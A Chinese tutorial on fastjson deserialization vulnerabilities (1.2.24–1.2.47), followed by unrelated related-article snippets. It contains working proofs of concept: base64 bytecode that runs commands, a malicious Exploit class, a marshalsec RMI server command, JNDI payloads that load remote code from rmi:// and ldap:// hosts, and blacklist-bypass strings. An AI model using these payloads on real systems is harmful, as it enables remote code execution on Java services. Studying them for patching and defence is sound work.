fastjson 系列漏洞
目录
1、 fastjson 1.2.22-1.2.24 版本
1.1 TemplatesImpl (Feature.SupportNonPublicField)
1.2 JNDI && JdbcRowSetImpl 利⽤链
2、fastjson 1.2.41
3、fastjson 1.2.42/1.2.43
4、fastjson 1.2.44-1.2.45
5、fastjson 1.2.46-1.2.47版本反序列化漏洞
jackson 和 fastjson 在序列化的时候,先利用反射找到对象类的所有 getter 方法,接下来去 get,然后小写化,作为 json 的每个 key 值,而 getter 方法的返回值作为 value。接下来再反射 field,添加到 json 中。
1、 fastjson 1.2.22-1.2.24 版本
产生漏洞的主要原因为FastJson⽀持的两个特性:
1. fastjson反序列化时,JSON 字符串中的 @type 字段,⽤来表明指定反序列化的⽬标对象类。
2. fastjson反序列化时,字符串时会⾃动调⽤恶意对象的构造⽅法、setter ⽅法、 getter ⽅法,若这类⽅法中存在利⽤点,即可完成漏洞利⽤。
主要存在两种利⽤⽅式:
1. TemplatesImpl (Feature.SupportNonPublicField)
2. JdbcRowSetImpl (JNDI)
1.1 TemplatesImpl (Feature.SupportNonPublicField)
TemplatesImpl 类中影响漏洞的主要是 _bytecodes 和_outputProperties 两个 private 成员变量。在使⽤ JSON parseObject 时需要传⼊Feature.SupportNonPublicField。TemplatesImpl 利⽤链因为需要开启 Feature.SupportNonPublicField 选项,具有较⼤的限制。
poc:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class java1_2_25 {public static void main(String[] args) {String payload = "
{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_b
ytecodes\":
[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQA
EQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvb
S9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWN
oZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htb
C9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29
yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htb
C9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFih
bTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAKcG9jXzEuamF2YQwACAAJBwAhD
AAiACMBAARjYWxjDAAkACUBAAVwb2NfMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5
hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y
29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQA
TamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpT
GphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmc
vUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAA
AABAAsAAAAOAAMAAAAJAAQACgANAAsADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAA
BAAsAAAAGAAEAAAAOAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEA
AEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAATAAgAFAAMAAA
ABAABABQAAQAVAAAAAgAW\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":
{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";JSON.parseObject(payload, Feature.SupportNonPublicField);}
}
1. @type :反序列化的恶意⽬标类型 TemplatesImpl ,FastJson最终会按照这个类反序列化得到实例
2. _bytecodes :继承 AbstractTranslet 类,值为恶意类字节码,使⽤ Base64 编码。
3. _outputProperties : TemplatesImpl 反序列化过程中会调⽤ getOutputProperties ⽅法,导致 bytecodes 恶意字节码成功实例化为代码执行类,造成命令执⾏。
4. _name :调⽤ getTransletInstance 时会判断其是否为 null ,为 null 直接 return ,不会进⼊到恶意类的实例化过程;
5. _tfactory:defineTransletClasses 中会调⽤其 getExternalExtensionsMap ⽅法,为 null 会出现异常;
javac 编译成字节码,对字节码继续 base64 编码填充 POC 的 _bytecodes 字段:
import java.io.IOException;
public class poc_1 extends AbstractTranslet {public poc_1() throws IOException {Runtime.getRuntime().exec("calc");}public void transform(DOM document, SerializationHandler[] handlers)throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler) throws TransletException {}public static void main(String[] args) throws Exception {poc_1 t = new poc_1();}
}
1.2 JNDI && JdbcRowSetImpl 利⽤链
JdbcRowSetImpl 利⽤链配合 JDNI 比较容易利用。
如下恶意类,通过 javac 编译得到 Exploit.class ⽂件,并将字节码⽂件让放 Web ⽬录下:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;
public class Exploit implements ObjectFactory, Serializable {public Exploit() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}public static void main(String[] args) {Exploit exploit = new Exploit();}public Object getObjectInstance(Object obj, Name name, Context nameCtx,Hashtable<?, ?> environment) throws Exception {return null;}
}
开启 RMI 服务器,默认运⾏在 1099 端⼝,并设置返回对象为远程恶意类的引⽤:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
http://website:8000/#Exploit
poc:
import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;
public class FastjsonTest {public static void main(String[] args) {String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://website:1099/Exploit\", \"autoCommit\":true}";JSON.parse(PoC);}
}
2、fastjson 1.2.41
官⽅在1.2.25版本更新中,新增了 autoTypeSupport 反序列化选项,并通过 checkAutoType 函数对加载类进⾏⿊⽩名单过滤和判断。
漏洞成因:
此漏洞为1.2.24版本漏洞的安全补丁的绕过。Fastjson 从1.2.25开始引入了 checkAutotype 安全机制,默认情况下,autoTypeSupport 为 false ,同时不⽀持指定类的反序列化,通过使⽤⿊名单+⽩名单验证。
checkAutotype 机制的作用过程:
- checkAutotype 安全机制中 @type 字段值首先会经过黑白名单的校验
- 在成功通过校验之后,程序接下来会通过 TypeUtils.loadClass 方法对类进行加载:
- 匹配以 [ 开头的字符串,
- 匹配以 L 开头,以 ; 结尾的函数返回值和参数的编码字符串。
其中首个字符 [ 用以表示数组的层数,第二个字符则代表数组的类型,L 与 ; 之间的字符串表示着该类对象的所属类。当传入的类名以 L 开头,以 ; 结尾时,程序将去除首尾后返回,因此能够绕过⿊名单的验证。
poc:
{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}
}
3、fastjson 1.2.42/1.2.43
漏洞成因:
1.2.42版本对1.2.25~1.2.41的漏洞进行了修复,然而修复方式是通过判断类名前后是否为 L 和 ;,如果是,就截取第二个字符和到倒数第二个字符。此种修复方式通过双写 LL 和 ;; 即可绕过。
1.2.43版本是对1.2.42版本漏洞修复,直接了对类名是否以LL开头的条件判断,若第一个条件满足并且以 LL 开头,直接抛异常,至此这种修复方式没法在绕过了。
但 loadclass 时除了 L 和 ; 做了特殊处理外,[ 也被特殊处理了,通过在类名前添加 [ ,使用 [{}] 包裹数据即可绕过检测。
{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}
4、fastjson 1.2.44-1.2.45
漏洞成因:
1. 此版本漏洞通过 Mybatis 利⽤链,可以直接绕过⿊名单。 JndiDataSourceFactory 不在黑名单上,可以通过黑名单校验
2. JSON字符串中的 @type 字段可以指定 JndiDataSourceFactory 类,而在类的 properties 属性中的 data_source 变量中可以指定恶意数据源,通过 properties.getProperty 获取该地址,并传⼊ initCtx.lookup ,形成JNDI注⼊执⾏命令。
5、fastjson 1.2.46-1.2.47版本反序列化漏洞
漏洞成因:
1. java.lang.class 不在类的黑名单中,可以通过 checkAutotype 的检测。
2. 同时 java.lang.class 类对应的 deserializer 为 MiscCodec,deserialize 时会取 json 串中的 val 值,并 load 这个 val 对应的 class,当 fastjson cache 为 true,就会缓存这个 val 对应的 class 到全局 map 中。
3. 如果再次加载 val 名称的 class,并且 autotype 没开启,就会尝试从全局 map 中获取这个class,如果获取到了,直接返回。当这里的 class 为恶意类,就会造成命令执行。
poc:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
public class POC {public static void main(String[] args) {String payload = "{\n" +" \"name\":{\n" +" \"@type\":\"java.lang.Class\",\n" +" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +" },\n" +" \"x\":{\n" +" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +"\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\n" +" \"autoCommit\":true\n" +" }\n" +"}";System.out.println(payload);JSON.parse(payload);}
}
相关文章:
fastjson 系列漏洞
目录 1、 fastjson 1.2.22-1.2.24 版本 1.1 TemplatesImpl (Feature.SupportNonPublicField) 1.2 JNDI && JdbcRowSetImpl 利⽤链 2、fastjson 1.2.41 3、fastjson 1.2.42/1.2.43 4、fastjson 1.2.44-1.2.45 5、fastjson 1.2.46-1.2.47版本反序列化漏洞 jackson…...
odoo前端js对象的扩展方法
odoo前端js对象的扩展方法 在 Odoo 中,你可以使用两种方法来扩展 JavaScript 对象:extends 和 patch。这两种方法在功能上有一些区别。 extends 方法: 使用 extends 方法可以创建一个新的 JavaScript 对象,并继承自现有的对象。这…...
力扣双周赛 -- 117(容斥原理专场)
class Solution { public:long long c2(long long n){return n > 1? n * (n - 1) / 2 : 0;}long long distributeCandies(int n, int limit) {return c2(n 2) - 3 * c2(n - limit 1) 3 * c2(n - 2 * limit) - c2(n - 3 * limit - 1);} };...
基于Rabbitmq和Redis的延迟消息实现
1 基于Rabbitmq延迟消息实现 支付时间设置为30,未支付的消息会积压在mq中,给mq带来巨大压力。我们可以利用Rabbitmq的延迟队列插件实现消息前一分钟尽快处理 1.1定义延迟消息实体 由于我们要多次发送延迟消息,因此需要先定义一个记录消息…...
Masked Relation Learning for DeepFake Detection
一、研究背景 1.现有deepfake检测方法大多关注于局部伪影或面部不协调,较少挖掘局部区域间的关系。 2.现有关系挖掘类的工作往往忽略了关系信息的传播。 3.遮挡建模在减轻信息冗余的同时促进高级语义信息(诱导性偏差较小)的挖掘,有…...
R语言爬虫程序自动爬取图片并下载
R语言本身并不适合用来爬取数据,它更适合进行统计分析和数据可视化。而Python的requests,BeautifulSoup,Scrapy等库则更适合用来爬取网页数据。如果你想要在R中获取网页内容,你可以使用rvest包。 以下是一个简单的使用rvest包爬取…...
2023年10月国产数据库大事记-墨天轮
本文为墨天轮社区整理的2023年10月国产数据库大事件和重要产品发布消息。 目录 10月国产数据库大事记 TOP1010月国产数据库大事记(时间线)产品/版本发布兼容认证代表厂商大事记厂商活动排行榜新增数据库相关资料 10月国产数据库大事记 TOP10 10月国产…...
Linux内核分析(十四)--内存管理之malloc、free 实现原理
目录 一、引言 二、malloc实现方式 ------>2.1、动态内存分配的系统调用:brk / sbrk ------>2.2、malloc实现思路 ------------>2.2.1、最佳适应法 ------------>2.2.2、最差适应法 ------------>2.2.3、首次适应法 ------------>2.2.4、下一个适应…...
Hive函数
1. Hive 内置运算符 整体上,Hive 支持的运算符可以分为三大类:关系运算、算术运算、逻辑运算。 官方参考文档:LanguageManual UDF - Apache Hive - Apache Software Foundation 也可以使用下述方式查看运算符的使用方式: -- 显…...
教资笔记(目录)
目录 中小学教资笔记总结中学教资小学教资小学中学科一《综合素质》(通用):考情分析:学习笔记 小学科二《教育知识与能力》:考情分析:学习笔记: 中小学教资笔记总结 2023.9.16教资考试 笔试成绩…...
np.repeat()的注意事项
对于一个shape为(3, 2)的矩阵a, b a.repeat(9, axis1)。 那b[:, :9]是相同的,b[:, 9:]是相同的,意见 a np.random.rand(3, 2) b a.repeat(9, axis1) np.all(b[:, 0] b[:, 1]), np.all(b[:, 0] b[:, 9]) Out: (Tr…...
239. 滑动窗口最大值
239. 滑动窗口最大值 原题链接:完成情况:解题思路:参考代码:错误经验吸取 原题链接: 239. 滑动窗口最大值 https://leetcode.cn/problems/sliding-window-maximum/description/ 完成情况: 解题思路&…...
c++ barrier 使用详解
c barrier 使用详解 std::barrier c20 头文件 #include <barrier>。作用:一般被用来协调多个线程,在所有线程都到达屏障点之后,才允许它们继续执行,对于需要线程间同步的并行算法和任务来说非常有用。使用步骤:…...
c# 接口
c#接口 namespace demo1 {/// <summary>/// 接口使用interface关键字进行定义/// 接口中只能声明方法不能定义,也就是说声明的方法不能有方法体。/// 接口不能包含常量、字段、运算符、实例构造函数、析构函数或类型,不能包含静态成员。由于不能有…...
1、NPC 三电平SVPWM simulink仿真
1、SVPWM时间计算函数,是从matlab的SVPWM3L_TimingCalculation.p文件中反汇编出来的函数: function [TgABC_On ,TgABC_Off ,Sn ]SVPWM3L_TimingCalculation_frompfile (Vref ,DeltaVdc ,Fsw ) %#codegen %coder .allowpcode (plain ); TgABC_On [0 ,0 ,…...
JAVA对象列表强转失败,更好的方法
JAVA将无法强转的list泛型对象使用JSON工具类转换为list类 List<DiskUseRateVo> list JSON.parseArray(JSON.toJSONString(httpGet(url).getContent()), DiskUseRateVo.class);之前一直强转发现后续list.get(0)报错,用JSON解决了问题。...
2023最新版本 从零基础入门C++与QT(学习笔记) -5- 动态内存分配(new)
🎏C的动态内存要比C方便 🎄注意C申请内存的时候可以直接的初始化!!! 🎄格式(申请一块内存) 🎈new(关键字) 变量类型 🎄格式(申请多块内存&am…...
asp.net校园招聘管理系统VS开发sqlserver数据库web结构c#编程Microsoft Visual Studio
一、源码特点 asp.net 校园招聘管理系统是一套完善的web设计管理系统,系统具有完整的源代码和数据库,系统主要采用B/S模式开发。开发环境为vs2010,数据库为sqlserver2008,使用c#语言开发 应用技术:asp.net c#s…...
flink的键值分区状态自动过期ttl配置
背景 flink的状态清理之前一直都是通过处理函数的ontimer设置定时器的方式清理掉那些无用的状态,但是这种方式容易出错而且代码也不优雅,使用flink提供的状态ttl的方式可以解决这个问题 flink键值分区状态ttl设置 文件系统/基于内存的状态后端的ttl设…...
解决Mac配置maven环境后,关闭终端后环境失效的问题(适用于所有终端关闭后环境失效的问题)
目录 问题的原因 解决方式一、每次打开终端时输入:"source ~/.bash_profile",这个方式比较繁琐 解决方式二、我们终端输入"vim ~/.zshrc"打开".zshrc"文件 1、我们输入以下代码: 2、首先需要按 " i…...
一个简洁易用的 Delphi JSON 封装库,基于 System.JSON`单元封装,提供更直观的 API
pagehelper整合 引入依赖com.github.pagehelperpagehelper-spring-boot-starter2.1.0compile编写代码 GetMapping("/list/{pageNo}") public PageInfo findAll(PathVariable int pageNo) {// 设置当前页码和每页显示的条数PageHelper.startPage(pageNo, 10);// 查询数…...
FALCON: Fast Autonomous Aerial ExplorationUsing Coverage Path Guidance(覆盖路径引导的快速自主空中探索)
创新点:提出一种基于连接性的增量式空间分解和连接图构造方法,捕获环境拓扑并促进有效的探测覆盖路径规划提出一种分层的探索规划方法,生成合理的覆盖路径作为全局指导,并优化局部边界访问顺序,保持覆盖路径的意图。提…...
Go语言如何部署到K8s_Go语言Kubernetes部署教程【进阶】
Go服务容器化失败主因是镜像路径与WORKDIR不匹配、containerPort未对齐监听端口、Probe未适配程序健康接口、ConfigMap/Secret挂载权限不足,需逐一核验镜像内容、网络声明、文件权限及进程监听行为。Go 服务打包成容器镜像时,main.go 路径和 WORKDIR 不匹…...
快速启动Tensorboard并解决本地端口访问问题的实战指南
1. Tensorboard快速启动指南 Tensorboard是TensorFlow生态中不可或缺的可视化工具,它能直观展示模型训练过程中的损失曲线、准确率、计算图等重要信息。但很多新手在第一次使用时,常常卡在启动后无法访问的环节。这里分享我调试过上百个模型总结出的启动…...
Keil魔术棒设置详解:为什么你的printf在STM32上不工作?
Keil魔术棒设置详解:为什么你的printf在STM32上不工作? 调试STM32项目时,printf输出功能突然失效是许多开发者遇到的经典问题。明明代码逻辑正确,串口硬件也正常,为什么控制台就是一片寂静?这通常与Keil开…...
7B、14B、80B大模型参数量解析:性能、成本与选择全攻略!
本文解析了7B、14B、80B大模型参数量代表的含义及其对模型能力、资源消耗、训练与推理成本的影响。参数量越大,模型表达能力越强,但资源需求与成本也越高。7B适合轻量级任务与低预算场景,14B兼顾性能与成本,80B适用于追求顶尖性能…...
memtest_vulkan显存检测终极指南:从问题识别到健康管理
memtest_vulkan显存检测终极指南:从问题识别到健康管理 【免费下载链接】memtest_vulkan Vulkan compute tool for testing video memory stability 项目地址: https://gitcode.com/gh_mirrors/me/memtest_vulkan 一、显存故障问题识别:图形渲染异…...
【APS合集】20余份APS生产排成系统及与其他系统集成方案合集(PPT+WORD)
本方案面向“十五五”构建以约束优化算法为核心的APS智能排程系统,通过集成ERP、MES、SCADA及WMS,实现计划-执行闭环联动。旨在解决人工排产低效、资源冲突频发等痛点,支持分钟级动态重排与交期精准承诺,显著提升设备利用率与订单…...
项目经理的最高境界,是学会“睁一只眼闭一只眼”
在项目管理圈子里,流行着一种近乎悖论的说法:一个真正优秀的项目经理,往往不是那些事无巨细、火眼金睛的“细节狂魔”,而是懂得适时“睁一只眼闭一只眼”的“智慧型管理者”。 这听起来似乎与PMP(项目管理专业人士&…...
Go OAuth2授权码流程:实现Web应用用户认证的终极指南
Go OAuth2授权码流程:实现Web应用用户认证的终极指南 【免费下载链接】oauth2 Go OAuth2 项目地址: https://gitcode.com/gh_mirrors/oa/oauth2 Go OAuth2授权码流程是现代Web应用用户认证的完整解决方案,为开发者提供了安全、标准化的身份验证机…...
